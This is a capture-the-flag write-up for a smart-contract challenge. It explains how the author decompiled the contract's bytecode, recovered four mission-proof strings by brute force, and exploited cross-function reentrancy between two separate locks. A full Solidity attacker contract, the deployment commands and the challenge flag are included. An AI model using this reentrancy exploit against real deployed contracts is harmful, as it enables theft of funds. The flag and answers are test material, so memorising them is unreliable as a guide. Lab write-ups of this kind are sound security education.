ESPILON-CTF-2026-Writeups/Web3/GANTZ_BALL_CONTRACT
2026-03-26 17:33:50 +00:00
..
README.md write-up: Web3/GANTZ_BALL_CONTRACT/README.md 2026-03-26 17:33:50 +00:00

GANTZ_BALL_CONTRACT

Field Value
Category Web3
Difficulty Insane
Points 500
Author Eun0us
CTF Espilon 2026

Description

The Black Sphere runs a smart contract that tracks hunter scores. Kill aliens, earn points. Reach 100 points and claim your freedom.

But there's a catch: no source code. Only the deployed bytecode.

  • nc espilon.net 1337 — Challenge console
  • http://espilon.net:8545 — Anvil RPC endpoint

Reverse the bytecode. Understand the scoring mechanism. Find the exploit. Claim your 100 points. Escape the game.

"Nobody said you had to play fair."


TL;DR

Decompile the bytecode to recover the ABI. Find that the contract uses two separate reentrancy guards (_stakeLock and _rewardLock) instead of a single global lock. While inside unstake(), _stakeLock=1 but _rewardLock=0 — enabling cross-function reentrancy into claimReward(). Brute-force 4 mission proof preimages. Deploy an attacker contract that earns 110 points, stakes 100, then re-enters claimReward() from the receive() callback during unstake().


Tools

Tool Purpose
Dedaub / Heimdall / Panoramix EVM bytecode decompilation
Foundry (forge, cast) Contract deployment and interaction
Python 3 + web3.py Storage slot computation for preimage brute-force

Solution

Step 1 — Get the bytecode

nc <host> 1337
bytecode

📸 [screenshot: console showing the deployed bytecode hex]

Step 2 — Decompile

Submit bytecode to Dedaub (app.dedaub.com) or run Heimdall:

heimdall decompile <bytecode_hex>

Recovered functions:

Function Signature
register() Enroll as a hunter
claimKill(uint256, string) Earn points per mission
stakePoints(uint256) payable Stake points, deposit ETH (1 pt = 0.001 ETH)
unstake() Withdraw ETH, restore points
claimReward() Claim reward if points + stakedPoints >= 100

Critical finding: two separate guards _stakeLock (slot protecting stakePoints/unstake) and _rewardLock (protecting claimReward). During unstake(), _stakeLock=1 but _rewardLock=0 — the window for cross-function reentrancy.

📸 [screenshot: decompiler output showing two separate reentrancy guard variables]

Step 3 — Find the mission proof preimages

From contract storage, extract 4 keccak256 target hashes, then brute-force:

from web3 import Web3

targets = [...]  # 4 keccak256 hashes from storage

wordlist = ["onion_alien", "tanaka_alien", "buddha_alien", "boss_alien",
            "cat_alien", "dog_alien", "fish_alien"]

for word in wordlist:
    h = Web3.keccak(text=word).hex()
    if h in targets:
        print(f"Found: {word}")
Mission Points Proof
0 20 onion_alien
1 25 tanaka_alien
2 30 buddha_alien
3 35 boss_alien

Step 4 — Deploy the attacker contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IGantzBall {
    function register() external;
    function claimKill(uint256 missionId, string calldata proof) external;
    function stakePoints(uint256 amount) external payable;
    function unstake() external;
    function claimReward() external;
}

contract GantzExploit {
    IGantzBall public ball;
    bool private attacking;

    constructor(address _ball) payable { ball = IGantzBall(_ball); }

    function exploit() external {
        ball.register();
        ball.claimKill(0, "onion_alien");   // +20 → 20 pts
        ball.claimKill(1, "tanaka_alien");  // +25 → 45 pts
        ball.claimKill(2, "buddha_alien");  // +30 → 75 pts
        ball.claimKill(3, "boss_alien");    // +35 → 110 pts

        // Stake 100 points: points=10, stakedPoints=100
        ball.stakePoints{value: 0.1 ether}(100);

        attacking = true;
        ball.unstake();
        // In receive(): stakedPoints=100 not yet zeroed → claimReward passes (10+100=110>=100)
    }

    receive() external payable {
        if (attacking) {
            attacking = false;
            // _stakeLock=1 but _rewardLock=0 → cross-function reentrancy succeeds
            ball.claimReward();
        }
    }
}
forge create GantzExploit \
    --constructor-args <BALL_ADDR> \
    --value 0.2ether \
    --rpc-url http://<HOST>:8545 \
    --private-key <PLAYER_KEY>

cast send <EXPLOIT_ADDR> 'exploit()' \
    --rpc-url http://<HOST>:8545 \
    --private-key <PLAYER_KEY>

📸 [screenshot: forge deploy and cast send commands completing successfully]

Step 5 — Get the flag

nc <host> 1337
check

📸 [screenshot: console printing the flag after successful reentrancy exploit]

Key concepts

  • EVM bytecode reversal: No source code — recover ABI and logic from raw opcodes
  • Cross-function reentrancy: Two separate mutex flags allow re-entry across function boundaries — a classic vulnerability missed when developers use per-function guards instead of a global reentrancy lock
  • keccak256 preimage brute force: Short human-readable strings are feasible to brute-force against known hashes stored in contract storage
  • Storage layout: Dynamic array elements, mappings, and packed slots follow deterministic Solidity storage layout rules

Flag

ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}